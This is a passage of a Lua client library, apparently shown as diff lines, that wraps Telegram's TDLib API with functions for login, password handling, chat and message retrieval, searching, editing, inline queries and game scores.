file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- @message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter + }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function 